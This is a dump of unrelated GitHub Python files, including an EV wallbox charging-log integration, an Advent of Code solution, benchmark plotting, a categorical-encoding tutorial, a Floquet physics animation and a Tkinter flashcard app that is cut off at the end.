m)\n","repo_name":"her0e1c1/pystock","sub_path":"stock/cli/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"72444805813","text":"import frappe\nfrom frappe.model.document import Document\nfrom datetime import datetime, timedelta\nimport pytz\nimport requests\nfrom requests.auth import HTTPDigestAuth\nfrom requests.auth import HTTPBasicAuth\n\nclass IstChargingFunc(Document):\n\t@frappe.whitelist()\n\tdef get_request(self,url,end):\n\n\t\t#wb_password = self.get_password('password')\n\t\t#self.auth = HTTPBasicAuth(password)\n\t\treg_url = url+end\n\t\tresponse = requests.get(reg_url)\n\t\t# response.raise_for_status()\n\t\t# session = requests.Session()\n\t\t# session.auth = HTTPDigestAuth(password)\n\t\t#print(response.text)\n\t\treturn response.json()\n\t\n\t@frappe.whitelist()\n\tdef get_data(self):\n\t\twallbox_list = frappe.get_all(\"Wallbox\")\n\t\tfor el in wallbox_list:\n\t\t\twallbox_doc = frappe.get_doc(\"Wallbox\",el[\"name\"])\n\t\t\turl = wallbox_doc.endpoint_url\n\t\t\tend = \"getLog\"\n\t\t\twallbox_name = wallbox_doc.name\n\t\t\tdata = self.get_request(url,end)\n\t\t\tfor el in data[\"list\"]:\n\n\t\t\t\tdate = datetime.fromtimestamp(el[\"timestamp\"])-timedelta(hours=1)\n\t\t\t\tprint(date)\n\n\t\t\t\tduration = timedelta(milliseconds =el[\"duration\"])\n\t\t\t\tenergy = el[\"energy\"]\n\t\t\t\tcosts = round(el[\"price\"]*el[\"energy\"]/100,2)\n\t\t\t\tprint(date,duration,costs)\n\t\t\t\tlogfile_list = frappe.get_all(\"Charging process\", filters={\"date\": date})\n\t\t\t\tif not logfile_list:\n\n\t\t\t\t\tlogfile_doc = frappe.get_doc({\n\t\t\t\t\t\t\t\"doctype\": \"Charging process\",\n\t\t\t\t\t\t\t\"user\": el[\"username\"],\n\t\t\t\t\t\t\t\"user_id\" : el[\"uid\"],\n\t\t\t\t\t\t\t\"date\": date,\n\t\t\t\t\t\t\t\"duration\": duration,\n\t\t\t\t\t\t\t\"energy\" : energy,\n\t\t\t\t\t\t\t\"costs\" : costs,\n\t\t\t\t\t\t\t\"wallbox_name\": wallbox_name\n\t\t\t\t\t\t\t})\n\t\t\t\t\tlogfile_doc.save()\n\t\t\n\t@frappe.whitelist()\n\tdef get_wallbox(self):\n\t\t\n\t\twallbox_list = frappe.get_all(\"Wallbox\")\n\t\tprint(wallbox_list)\n\t\tfor el in wallbox_list:\n\t\t\twallbox_doc = frappe.get_doc(\"Wallbox\",el[\"name\"])\n\t\t\turl = wallbox_doc.endpoint_url\n\t\t\tend = \"getParameters\"\n\t\t\tparameters = self.get_request(url,end)\n\t\t\tprint(parameters[\"list\"])\n\t\t\tif parameters[\"list\"][0][\"vehicleState\"] == 1:\n\t\t\t\tveh_st = \"ready\"\n\t\t\telif parameters[\"list\"][0][\"vehicleState\"] == 2:\n\t\t\t\tveh_st = \"Vehicle detected\"\n\t\t\telif parameters[\"list\"][0][\"vehicleState\"] == 3:\n\t\t\t\tveh_st = \"Vehicle charging\"\n\t\t\telif parameters[\"list\"][0][\"vehicleState\"] == 5:\n\t\t\t\tveh_st = \"Error\"\n\t\t\tif parameters[\"list\"][0][\"evseState\"] == True:\n\t\t\t\tevse_st = \"Charging station unlocked\"\n\t\t\telif parameters[\"list\"][0][\"evseState\"] == False:\n\t\t\t\tevse_st = \"Charging station locked\"\n\t\t\t\n\t\t\twallbox_doc.vehicle_state = veh_st\n\t\t\twallbox_doc.evse_state = evse_st\n\t\t\twallbox_doc.duration = timedelta(milliseconds =parameters[\"list\"][0][\"duration\"])\n\t\t\twallbox_doc.max_current = parameters[\"list\"][0][\"maxCurrent\"]\n\t\t\twallbox_doc.actual_current_in_a = parameters[\"list\"][0][\"actualCurrent\"]\n\t\t\twallbox_doc.actual_power = parameters[\"list\"][0][\"actualPower\"]\n\t\t\twallbox_doc.always_active = parameters[\"list\"][0][\"alwaysActive\"]\n\t\t\twallbox_doc.last_action_user = parameters[\"list\"][0][\"lastActionUser\"]\n\t\t\twallbox_doc.last_action_uid = parameters[\"list\"][0][\"lastActionUID\"]\n\t\t\twallbox_doc.energy = parameters[\"list\"][0][\"energy\"]\n\t\t\twallbox_doc.mileage = parameters[\"list\"][0][\"mileage\"]\n\t\t\twallbox_doc.meter_reading = parameters[\"list\"][0][\"meterReading\"]\n\t\t\twallbox_doc.save()\n\t\t\n\t\t\n\t\t \t\t\t\t\n\t\t\n\t\t\n\n\t \t\n\n\n\t\t\n\n\t\n\n\n","repo_name":"itsdaveit/its_charging","sub_path":"its_charging/its_charging/doctype/ist_charging_func/ist_charging_func.py","file_name":"ist_charging_func.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38493674437","text":"from collections import Counter\nimport common.input_data as input_data\nSums = dict[int, Counter[int]]\ndef find_first_wrong_number(numbers: list[int]) -> int:\n sums = make_sums(numbers[:25])\n numbers_to_check = list(numbers)\n while numbers_to_check:\n new_number = numbers_to_check[25]\n if not is_valid_number(new_number, sums):\n return new_number\n number = numbers_to_check.pop(0)\n remove_from_sums(number, sums)\n add_to_sums(new_number, sums)\n\n raise RuntimeError(\"Should not reach here, no number was detected as valid\")\n\ndef is_valid_number(number: int, sums: Sums) -> bool:\n return any(sum_counter[number] != 0 for sum_counter in sums.values())\n\ndef remove_from_sums(number: int, sums: Sums):\n del sums[number]\n for number2, sum_counter in sums.items():\n sum_counter[number + number2] -= 1\n\ndef add_to_sums(number: int, sums: Sums):\n new_sums = Counter(number + number2 for number2 in sums)\n for number2, sum_counter in sums.items():\n sum_counter[number + number2] += 1\n sums[number] = new_sums\n\ndef make_sums(numbers: list[int]) -> Sums:\n sums: Sums = {}\n for index1, number in enumerate(numbers):\n sums[number] = Counter(number + num2\n for index2, num2 in enumerate(numbers)\n if index1 != index2)\n return sums\n\ndef find_encryption_weakness(numbers: list[int]) -> int:\n invalid_number = find_first_wrong_number(numbers)\n candidate_range: list[int] = []\n numbers_to_check = list(numbers)\n while numbers_to_check:\n sum_value = sum(candidate_range)\n if sum_value == invalid_number and len(candidate_range) > 1:\n return min(candidate_range) + max(candidate_range)\n if sum_value < invalid_number:\n candidate_range.append(numbers_to_check.pop(0))\n if sum_value > invalid_number:\n candidate_range.pop(0)\n\n raise RuntimeError(\"Cannot find an encryption weakness\")\n\n\nNUMBERS = input_data.read(\"input/input9.txt\", int)\n\nif __name__ == \"__main__\":\n print(f\"First number that's wrong: {find_first_wrong_number(NUMBERS)}\")\n\n print(f\"Encryption Weakness: {find_encryption_weakness(NUMBERS)}\")\n","repo_name":"pviafore/AdventOfCode2020","sub_path":"challenge9.py","file_name":"challenge9.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"69984091254","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport os\n\n\n# Función para generar gráficos a partir de datos de rendimiento computacional.\ndef generar_graficas(directorio, archivo_csv, prefijo):\n datos = pd.read_csv(os.path.join(directorio, archivo_csv))\n datos_filtrados = datos[datos[\"TotalCores\"] > 1] # Filtra para TotalCores > 1\n\n # Gráfico de Speedup vs. TotalCores\n plt.figure(figsize=(10, 7))\n for size in sorted(datos_filtrados[\"MatrixSize\"].unique()):\n subset = datos_filtrados[datos_filtrados[\"MatrixSize\"] == size]\n plt.plot(\n subset[\"TotalCores\"], subset[\"Speedup\"], marker=\"o\", label=f\"Tamaño {size}\"\n )\n plt.xlabel(\"Total de Núcleos\")\n plt.ylabel(\"Speedup\")\n plt.title(\"Speedup vs. Total de Núcleos\")\n plt.legend()\n plt.savefig(\n os.path.join(directorio, f\"{prefijo}Speedup_vs_TotalCores.pdf\"), format=\"pdf\"\n )\n\n # Gráfico de Eficiencia vs. TotalCores\n plt.figure(figsize=(10, 8))\n for size in sorted(datos_filtrados[\"MatrixSize\"].unique()):\n subset = datos_filtrados[datos_filtrados[\"MatrixSize\"] == size]\n plt.plot(\n subset[\"TotalCores\"],\n subset[\"Eficiencia\"],\n marker=\"o\",\n label=f\"Tamaño {size}\",\n )\n plt.xlabel(\"Total de Núcleos\")\n plt.ylabel(\"Eficiencia\")\n plt.title(\"Eficiencia vs. Total de Núcleos\")\n plt.legend()\n plt.savefig(\n os.path.join(directorio, f\"{prefijo}Eficiencia_vs_TotalCores.pdf\"), format=\"pdf\"\n )\n\n # Gráfico de Tiempo vs. TotalCores para diferentes tamaños de matriz\n plt.figure(figsize=(10, 8))\n for size in sorted(datos[\"MatrixSize\"].unique()):\n subset = datos[datos[\"MatrixSize\"] == size]\n plt.plot(\n subset[\"TotalCores\"], subset[\"Time\"], marker=\"o\", label=f\"Tamaño {size}\"\n )\n plt.xlabel(\"Total de Núcleos\")\n plt.ylabel(\"Tiempo (microsegundos)\")\n plt.title(\n \"Tiempo de Ejecución vs. Total de Núcleos para diferentes tamaños de Matriz\"\n )\n plt.legend()\n plt.savefig(\n os.path.join(directorio, f\"{prefijo}Time_vs_TotalCores.pdf\"), format=\"pdf\"\n )\n\n # Repetir para otros gráficos y guardarlos en formato PDF\n\n\n# Solicita al usuario ingresar la ruta del directorio y un prefijo para los nombres de los archivos de gráficos\ndirectorio = input(\n \"Por favor, ingresa la ruta del directorio donde se encuentran los archivos: \"\n)\nprefijo = input(\n \"Por favor, ingresa el prefijo para los nombres de los archivos de gráficos: \"\n)\narchivo_csv = \"resultados_con_metricas.csv\"\n\n# Llama a la función para generar y guardar las gráficas\ngenerar_graficas(directorio, archivo_csv, prefijo)\n\n# Mensaje para informar al usuario que los gráficos han sido generados y guardados.\nprint(\n \"Todos los gráficos han sido generados y guardados como archivos .pdf en el directorio proporcionado.\"\n)\n","repo_name":"sergioarojasm98/Multiplicacion-de-Matrices-con-OpenMP","sub_path":"Data-Analytics-Scripts/hpc_plots.py","file_name":"hpc_plots.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71817507892","text":"import re\r\n\r\nendereco = \"Rua do Barulho 409, apartamente 323,\" \\\r\n \" Cidade, Estado, ES, 95085020\"\r\n\r\npadrao = re.compile(\"[0-9]{5}[-]?[0-9]{3}\")\r\n\r\nbusca = padrao.search(endereco)\r\nif busca:\r\n cep = busca.group()\r\n print(cep)\r\n","repo_name":"ArantesVini/extrator_url","sub_path":"extrator_cep.py","file_name":"extrator_cep.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4965777971","text":"\"\"\" \r\nCount or frequency encoding\r\n- In count encoding we replace the categories by the count of the observations that show that category in the dataset. \r\n- Similarly, we can replace the category by the frequency or percentage of observations in the dataset. \r\n- That is, if 10 of our 100 observations show the colour blue, we would replace blue by 10 if doing count encoding, or by 0.1 if replacing by the frequency. \r\n- These techniques capture the representation of each label in a dataset, but the encoding may not necessarily be predictive of the outcome. \r\n- These are however, very popular encoding methods in Kaggle competitions.\r\n\r\nThe assumption of this technique is that the number observations shown by each variable is somewhat informative of the predictive power of the category.\r\n\r\nAdvantages\r\n- Simple\r\n- Does not expand the feature space\r\n\r\nDisadvantages\r\n- If 2 different categories appear the same amount of times in the dataset, that is, they appear in the same number of observations, they will be replaced by the same number: may lose valuable information.\r\n- For example, if there are 10 observations for the category blue and 10 observations for the category red, both will be replaced by 10, and therefore, after the encoding, will appear to be the same thing.\r\n\r\nIn this example:\r\nWe will see how to perform count or frequency encoding with:\r\n- pandas\r\n\r\nAnd the advantages and limitations of each implementation using the House Prices dataset.\r\n \"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n# load dataset\r\ndata = pd.read_csv('dataset/house-prices-advanced-regression-techniques/train.csv',\r\n usecols=['Neighborhood', 'Exterior1st', 'Exterior2nd', 'SalePrice'])\r\n\r\ndata.head()\r\n\"\"\" Neighborhood Exterior1st Exterior2nd SalePrice\r\n0 CollgCr VinylSd VinylSd 208500\r\n1 Veenker MetalSd MetalSd 181500\r\n2 CollgCr VinylSd VinylSd 223500\r\n3 Crawfor Wd Sdng Wd Shng 140000\r\n4 NoRidge VinylSd VinylSd 250000 \"\"\"\r\n\r\n# let's have a look at how many labels each variable has\r\nfor col in data.columns:\r\n print(col, ': ', len(data[col].unique()), ' labels')\r\n\r\n\"\"\" Neighborhood : 25 labels\r\nExterior1st : 15 labels\r\nExterior2nd : 16 labels\r\nSalePrice : 663 labels \"\"\"\r\n\r\n\"\"\" \r\nImportant\r\n- When doing count transformation of categorical variables, it is important to calculate the count (or frequency = count / total observations) over the training set, and then use those numbers to replace the labels in the test set.\r\n \"\"\"\r\n# let's separate into training and testing set\r\nX_train, X_test, y_train, y_test = train_test_split(\r\n data[['Neighborhood', 'Exterior1st', 'Exterior2nd']], # predictors\r\n data['SalePrice'], # target\r\n test_size=0.3, # percentage of obs in test set\r\n random_state=0) # seed to ensure reproducibility\r\n\r\nX_train.shape, X_test.shape\r\n((1022, 3), (438, 3))\r\n\r\n\"\"\" Count and Frequency encoding with pandas \"\"\"\r\n\r\n# let's obtain the counts for each one of the labels in the variable Neigbourhood\r\n\r\ncount_map = X_train['Neighborhood'].value_counts().to_dict()\r\n\r\ncount_map\r\n\"\"\" {'NAmes': 151,\r\n 'CollgCr': 105,\r\n 'OldTown': 73,\r\n 'Edwards': 71,\r\n 'Sawyer': 61,\r\n 'Somerst': 56,\r\n 'Gilbert': 55,\r\n 'NridgHt': 51,\r\n 'NWAmes': 51,\r\n 'SawyerW': 45,\r\n 'BrkSide': 41,\r\n 'Mitchel': 36,\r\n 'Crawfor': 35,\r\n 'Timber': 30,\r\n 'NoRidge': 30,\r\n 'ClearCr': 24,\r\n 'IDOTRR': 24,\r\n 'SWISU': 18,\r\n 'StoneBr': 16,\r\n 'Blmngtn': 12,\r\n 'MeadowV': 12,\r\n 'BrDale': 10,\r\n 'NPkVill': 7,\r\n 'Veenker': 6,\r\n 'Blueste': 2} \"\"\"\r\n\r\n# The dictionary contains the number of observations per category in Neighbourhood.\r\n\r\n# replace the labels with the counts\r\nX_train['Neighborhood'] = X_train['Neighborhood'].map(count_map)\r\nX_test['Neighborhood'] = X_test['Neighborhood'].map(count_map)\r\n\r\n# let's explore the result\r\nX_train['Neighborhood'].head(10)\r\n\"\"\" 64 105\r\n682 24\r\n960 41\r\n1384 71\r\n1100 18\r\n416 61\r\n1034 35\r\n853 151\r\n472 71\r\n1011 71\r\nName: Neighborhood, dtype: int64 \"\"\"\r\n\r\n# if instead of the count we would like the frequency\r\n# we need only divide the count by the total number of observations:\r\n\r\nfrequency_map = (X_train['Exterior1st'].value_counts() / len(X_train) ).to_dict()\r\nfrequency_map\r\n\"\"\" {'VinylSd': 0.3561643835616438,\r\n 'HdBoard': 0.149706457925636,\r\n 'Wd Sdng': 0.14481409001956946,\r\n 'MetalSd': 0.1350293542074364,\r\n 'Plywood': 0.08414872798434442,\r\n 'CemntBd': 0.03816046966731898,\r\n 'BrkFace': 0.03424657534246575,\r\n 'WdShing': 0.02054794520547945,\r\n 'Stucco': 0.016634050880626222,\r\n 'AsbShng': 0.014677103718199608,\r\n 'Stone': 0.0019569471624266144,\r\n 'BrkComm': 0.0009784735812133072,\r\n 'ImStucc': 0.0009784735812133072,\r\n 'CBlock': 0.0009784735812133072,\r\n 'AsphShn': 0.0009784735812133072} \"\"\"\r\n\r\n# replace the labels with the frequencies\r\n\r\nX_train['Exterior1st'] = X_train['Exterior1st'].map(frequency_map)\r\nX_test['Exterior1st'] = X_test['Exterior1st'].map(frequency_map)\r\n\r\n# We can then put these commands into 2 functions as we did in the previous 3 examples, and loop over all the categorical variables.\r\n# If you don't know how to do this, please check any of the previous examples.","repo_name":"Akshaykumarcp/ML-Feature-Engineering","sub_path":"0.4_categorical encoding/0.4_count_or_frequency_encoding.py","file_name":"0.4_count_or_frequency_encoding.py","file_ext":"py","file_size_in_byte":5246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23445039630","text":"import numpy as np\r\nimport matplotlib.pyplot as plt \r\nimport cmath \r\nimport math\r\nimport functools\r\nfrom scipy.linalg import expm\r\nimport seaborn as sns\r\nimport pandas as pd \r\nfrom mpl_toolkits.mplot3d import Axes3D \r\nimport matplotlib.animation as animation\r\n\r\n#parameters\r\nT = 20\r\nJ1 = (np.pi/2)/(np.sqrt(2))\r\nJ2 = (np.pi/4)/(np.sqrt(2))\r\nd = 4\r\nnx = 2\r\nny = 2\r\nNx = 20\r\nNy = 20\r\nv = 1\r\nkx_array = np.linspace(-np.pi,np.pi,Nx+1)\r\nky_array = np.linspace(-np.pi,np.pi,Ny+1)\r\n# print(ky_array)\r\nt_array = np.linspace(0.001*T,0.999*T,11)\r\ngap = 0\r\nlx = len(kx_array)-1\r\nly = len(ky_array)-1\r\nlt = len(t_array)\r\ntheta_array = np.linspace(np.pi/2,np.pi/2,1)\r\n\r\n#pauli matrix\r\ns0 = np.matrix([[1,0],[0,1]])\r\ns1 = np.matrix([[0,1],[1,0]])\r\ns2 = np.matrix([[0,-1j],[1j,0]])\r\ns3 = np.matrix([[1,0],[0,-1]])\r\n\r\n#generalized logarithm\r\ndef llog(z, theta):\r\n modulus = np.abs(z)\r\n argument = np.angle(z)\r\n if theta-2*np.pi <= argument < theta:\r\n argument = argument\r\n else:\r\n argument = theta-2*np.pi+np.mod(argument-theta, 2*np.pi)\r\n return np.log(modulus) + 1j*argument\r\n\r\n#states-sorting function\r\ndef ssort(x,y):\r\n e = -1j*np.log(x)\r\n x_sort_idx = np.argsort(e)[::-1]\r\n e = np.sort(e)[::-1]\r\n xx = [0 for index in range(len(x))]\r\n for i in range(len(x)):\r\n xx[i] = np.exp(1j*e[i])\r\n y = y[:,x_sort_idx]\r\n x = xx\r\n return x,y\r\n\r\ndef SSort(x,y):\r\n e = []\r\n for X in x:\r\n if gap == 0:\r\n E = -1j*llog(X,0)/T\r\n if gap == np.pi:\r\n E = -1j*llog(X,np.pi)/T\r\n e.append(E)\r\n x_sort_idx = np.argsort(e)[::1]\r\n e = np.sort(e)[::1]\r\n y = y[:,x_sort_idx]\r\n x = e\r\n return x,y\r\n\r\n#phase-fixing function\r\ndef fix(x,d):\r\n Phase = np.zeros(shape=(d,d),dtype=complex)\r\n for j in range(d):\r\n Phase[j,j] = np.exp(-1j*cmath.phase(x[0,j]))\r\n x = np.dot(x,Phase)\r\n return x\r\n\r\n#anomalous periodic operator\r\ndef U(kx,ky,t,theta):\r\n #Hamiltonians\r\n H1 = (2*J1/T)*(np.kron(s1,s0)-np.kron(s2,s2))+(0*2/T)*(np.sin(ny*ky)*np.kron(s3,s1)+np.cos(ny*ky)*np.kron(s3,s2)-0.4*np.cos(ny*ky)*np.kron(s0,s0))+(0.0001)*np.kron(s3,s0)\r\n H2 = (2*J2/T)*((np.cos(theta)*np.cos(kx)+np.sin(theta)*np.cos(nx*kx))*np.kron(s1,s0)-(np.cos(theta)*np.sin(kx)+np.sin(theta)*np.sin(nx*kx))*np.kron(s2,s3)-(np.cos(theta)*np.cos(ky)+np.sin(theta)*np.cos(ny*ky))*np.kron(s2,s2)-(np.cos(theta)*np.sin(ky)+np.sin(theta)*np.sin(ny*ky))*np.kron(s2,s1))+(0.0001)*np.kron(s3,s0)\r\n #Floquet operator\r\n UF = np.dot(expm(-1j*H1*(T/4)),np.dot(expm(-1j*H2*(T/2)),expm(-1j*H1*(T/4))))\r\n #sort by quasienergies\r\n eval,evec = np.linalg.eig(UF)\r\n evec = fix(evec,d)\r\n eval,evec = ssort(eval,evec)\r\n #fix phase\r\n\r\n #evolution operator\r\n r = int(t//T)\r\n\r\n if 0 <= t%T < T/4:\r\n U1 = np.dot(expm(-1j*H1*(t%T)),np.linalg.matrix_power(UF,r))\r\n if T/4 <= t%T < 3*T/4:\r\n U1 = np.dot(expm(-1j*H2*(t%T-T/4)),np.dot(expm(-1j*H1*(T/4)),np.linalg.matrix_power(UF,r)))\r\n if 3*T/4 <= t%T < T:\r\n U1 = np.dot(expm(-1j*H1*(t%T-3*T/4)),np.dot(expm(-1j*H2*(T/2)),np.dot(expm(-1j*H1*(T/4)),np.linalg.matrix_power(UF,r))))\r\n \r\n #anomalous periodic operator for two gaps\r\n if gap == 0:\r\n Eaval = [0 for index in range(len(eval))]\r\n for i in range(len(eval)):\r\n Eaval[i] = np.exp(-llog(eval[i],0)*(t/T))\r\n Smatpi = np.diag(Eaval)\r\n U2 = np.dot(evec, np.dot(Smatpi, np.linalg.inv(evec)))\r\n if gap == np.pi:\r\n Eaval = [0 for index in range(len(eval))]\r\n for i in range(len(eval)):\r\n Eaval[i] = np.exp(-llog(eval[i],np.pi)*(t/T))\r\n Smatpi = np.diag(Eaval)\r\n U2 = np.dot(evec, np.dot(Smatpi, np.linalg.inv(evec)))\r\n return np.dot(U1,U2)\r\n\r\nfor theta in theta_array:\r\n Kx_array = kx_array.tolist()\r\n Ky_array = ky_array.tolist()\r\n del(Kx_array[-1])\r\n del(Ky_array[-1])\r\n X, Y = np.meshgrid(Kx_array, Ky_array) \r\n EIG1 = []\r\n EIG2 = []\r\n for t in t_array:\r\n eigmatrix1 = np.zeros((lx,ly))\r\n eigmatrix2 = np.zeros((lx,ly))\r\n for i in range(lx):\r\n for j in range(ly):\r\n kx = kx_array[i]\r\n ky = ky_array[j]\r\n eigenvalue, eigenvector = np.linalg.eig(U(kx,ky,t,theta))\r\n quasienergy, eigenvector = SSort(eigenvalue,eigenvector)\r\n eigmatrix1[i,j] = (quasienergy[0]).real\r\n eigmatrix2[i,j] = (quasienergy[3]).real\r\n EIG1.append(eigmatrix1)\r\n EIG2.append(eigmatrix2)\r\n \r\n fig, ax = plt.subplots(tight_layout=True, figsize=(6, 6), subplot_kw=dict(projection='3d'))\r\n plot1 = [ax.plot_surface(X, Y, EIG1[0], cmap=plt.get_cmap('plasma'), linewidth=0)]\r\n plot2 = [ax.plot_surface(X, Y, EIG2[0], cmap=plt.get_cmap('plasma'), linewidth=0)]\r\n ax.set_xlabel('kx', fontsize=10, color='black') \r\n ax.set_ylabel('ky', fontsize=10, color='black') \r\n ax.set_zlabel('quasienergy', fontsize=10, color='black')\r\n\r\n\r\n ax.view_init(50, 120) \r\n\r\n def update_map1(num, z, plot):\r\n plot[0].remove()\r\n plot[0] = ax.plot_surface(X, Y, EIG1[num], cmap=plt.get_cmap('plasma'), linewidth=0)\r\n \r\n def update_map2(num, z, plot):\r\n plot[0].remove()\r\n plot[0] = ax.plot_surface(X, Y, EIG2[num], cmap=plt.get_cmap('plasma'), linewidth=0)\r\n\r\n ani1 = animation.FuncAnimation(fig, update_map1, 30, interval=500, fargs=(EIG1, plot1), repeat=True)\r\n ani2 = animation.FuncAnimation(fig, update_map2, 30, interval=500, fargs=(EIG2, plot2), repeat=True)\r\n plt.show()","repo_name":"Hiloxik/FBOTP","sub_path":"Total Codes/dynamical singularity-animation.py","file_name":"dynamical singularity-animation.py","file_ext":"py","file_size_in_byte":5546,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"5966355834","text":"# https://programmers.co.kr/learn/courses/30/lessons/42576\r\n\r\ndef solution(participant, completion):\r\n participant.sort()\r\n completion.sort()\r\n for i in range(len(completion)):\r\n if completion[i] != participant[i]:\r\n return participant[i]\r\n length = i + 1\r\n \r\n if length == len(participant):\r\n return ''\r\n else:\r\n return participant[length]\r\n ","repo_name":"kylew1004/algorithm","sub_path":"Programmers/코딩테스트 고득점 kit/해시/완주하지_못한_선수.py","file_name":"완주하지_못한_선수.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28230181276","text":"'''\nGive a string, you can choose to split the string after one character or two adjacent characters, and make the string to be composed of only one character or two characters. \nOutput all possible results.\n\nHave you met this question in a real interview? \nExample\nGiven the string \"123\"\nreturn [[\"1\",\"2\",\"3\"],[\"12\",\"3\"],[\"1\",\"23\"]]\n'''\n\nclass Solution:\n \"\"\"\n @param: : a string to be split\n @return: all possible split string array\n \"\"\"\n\n def splitString(self, s):\n # write your code here\n res = []\n self.helper(s, res, [])\n return res\n \n def helper(self, s, res, cur):\n if len(s) == 0:\n res.append(cur[:])\n\n for i in range(2):\n if i + 1 <= len(s):\n cur.append(s[:i + 1])\n self.helper(s[i+1:], res, cur)\n cur.pop()\n\ns = Solution()\nstr = '123'\nprint(s.splitString(str))","repo_name":"zsmountain/lintcode","sub_path":"python/combination/680_split_string.py","file_name":"680_split_string.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28717851377","text":"import random\nimport threading\nimport tkinter.messagebox\nimport typing\nfrom tkinter import Canvas, PhotoImage, DISABLED\nfrom tkinter.ttk import Button, Label\n\nimport pandas\nfrom ttkthemes import ThemedTk, ThemedStyle\nfrom PIL import Image, ImageTk\n\n# logging.basicConfig(level=logging.WARN)\n\n\nclass FlashCards(ThemedTk):\n BACKGROUND_COLOR = \"#B1DDC6\"\n WIDTH = 800\n HEIGHT = 526\n SCALE = .5\n FONT_LANG = (\"Arial\", 30, 'italic')\n FONT_WORD = ('Arial', 50, 'bold')\n DELAY = 5\n APP_TITLE = \"FlashCards App\"\n\n def __init__(self):\n super().__init__()\n\n # Data elements\n self.card_data: {str: str} = {}\n self.card_data_index: int = 0\n self.all_data: typing.Union[None, pandas.DataFrame] = None\n if not self.load_data():\n exit(0)\n # Timer\n self.timer: typing.Union[threading.Timer, None] = None\n\n # UI elements\n self.style = ThemedStyle()\n self.canvas = Canvas()\n self.images: {str: PhotoImage} = {\n 'right': ImageTk.PhotoImage(Image.open(\"images/right.png\").\n resize((int(100 * self.SCALE), int(100 * self.SCALE)), Image.BILINEAR)),\n 'wrong': ImageTk.PhotoImage(Image.open(\"images/wrong.png\").\n resize((int(100 * self.SCALE), int(100 * self.SCALE)), Image.BILINEAR)),\n 'front': ImageTk.PhotoImage(Image.open(\"images/card_front.png\").\n resize((int(self.WIDTH * self.SCALE), int(self.HEIGHT * self.SCALE)),\n Image.BILINEAR)),\n 'back': ImageTk.PhotoImage(Image.open(\"images/card_back.png\").\n resize((int(self.WIDTH * self.SCALE), int(self.HEIGHT * self.SCALE)),\n Image.BILINEAR))\n }\n self.buttons: {str: Button} = {\n 'right': Button(),\n \"wrong\": Button()\n }\n self.labels: {str: Label} = {\n }\n\n self.card_image = None\n self.card_text_lang = None\n self.card_text_word = None\n\n self.generate_ui()\n self.show_new_card()\n\n def load_data(self) -> bool:\n def load_data_inner() -> bool:\n try:\n self.all_data = pandas.read_csv(file).transpose().to_dict()\n except pandas.errors.EmptyDataError:\n tkinter.messagebox.showerror(message=\"There are no data to learn.\")\n return False\n else:\n return True\n\n try:\n with open('data/words_to_learn.csv', 'r') as file:\n return load_data_inner()\n except FileNotFoundError:\n with open('data/french_words.csv', 'r') as file:\n return load_data_inner()\n\n def save_words_to_learn(self):\n with open('data/words_to_learn.csv', 'w', newline='') as file:\n # to keep the same format default index must be removed from the dataset\n pandas.DataFrame(pandas.DataFrame(self.all_data).transpose()).to_csv(file, index=False)\n\n def button_action_right(self):\n del self.all_data[self.card_data_index]\n self.save_words_to_learn()\n if self.load_data():\n self.show_new_card()\n else:\n for item in self.buttons.values():\n item['state'] = DISABLED\n self.card_data = {'Good Job': 'Nothing to learn.'}\n self.show_flashcard()\n\n def button_action_wrong(self):\n self.show_new_card()\n\n def show_new_card(self):\n if self.timer is not None:\n self.timer.cancel()\n self.timer = threading.Timer(self.DELAY, self.flip_card)\n\n self.card_data_index = random.SystemRandom().randint(0, len(self.all_data)-1)\n self.card_data = self.all_data[self.card_data_index]\n self.show_flashcard()\n self.timer.start()\n\n def flip_card(self):\n self.show_flashcard(side='back')\n\n def show_flashcard(self, side='front'):\n lang = tuple(self.card_data.keys())[0] if side == 'front' else tuple(self.card_data.keys())[-1]\n word = tuple(self.card_data.values())[0] if side == 'front' else tuple(self.card_data.values())[-1]\n self.canvas.itemconfig(self.card_image, image=self.images[side])\n self.canvas.itemconfig(self.card_text_lang, text=lang)\n self.canvas.itemconfig(self.card_text_word, text=word)\n\n self.canvas.update()\n\n def generate_ui(self):\n # logging.info(self.style.get_themes())\n self.title(self.APP_TITLE)\n\n self.config(padx=20, pady=20, background=self.BACKGROUND_COLOR, highlightcolor=self.BACKGROUND_COLOR)\n self.canvas.config(background=self.BACKGROUND_COLOR, width=self.SCALE * self.WIDTH,\n height=self.SCALE * self.HEIGHT,\n highlightthickness=0)\n self.buttons['right'].config(image=self.images['right'], command=self.button_action_right)\n self.buttons['wrong'].config(image=self.images['wrong'], command=self.button_action_wrong)\n\n self.canvas.grid(column=1, row=1, columnspan=2)\n self.buttons['right'].grid(column=1, row=2, columnspan=1, padx=10, pady=10)\n self.buttons['wrong'].grid(column=2, row=2, columnspan=1, padx=10, pady=10)\n\n self.card_image = self.canvas.create_image(self.SCALE * self.WIDTH / 2,\n self.SCALE * self.HEIGHT / 2)\n self.card_text_lang = self.canvas.create_text(self.SCALE * self.WIDTH / 2,\n self.SCALE * (self.HEIGHT / 2 - 150),\n font=self.FONT_LANG)\n self.card_text_word = self.canvas.create_text(self.SCALE * self.WIDTH / 2,\n self.SCALE * (self.HEIGHT / 2 + 100),\n font=self.FONT_WORD)\n\n 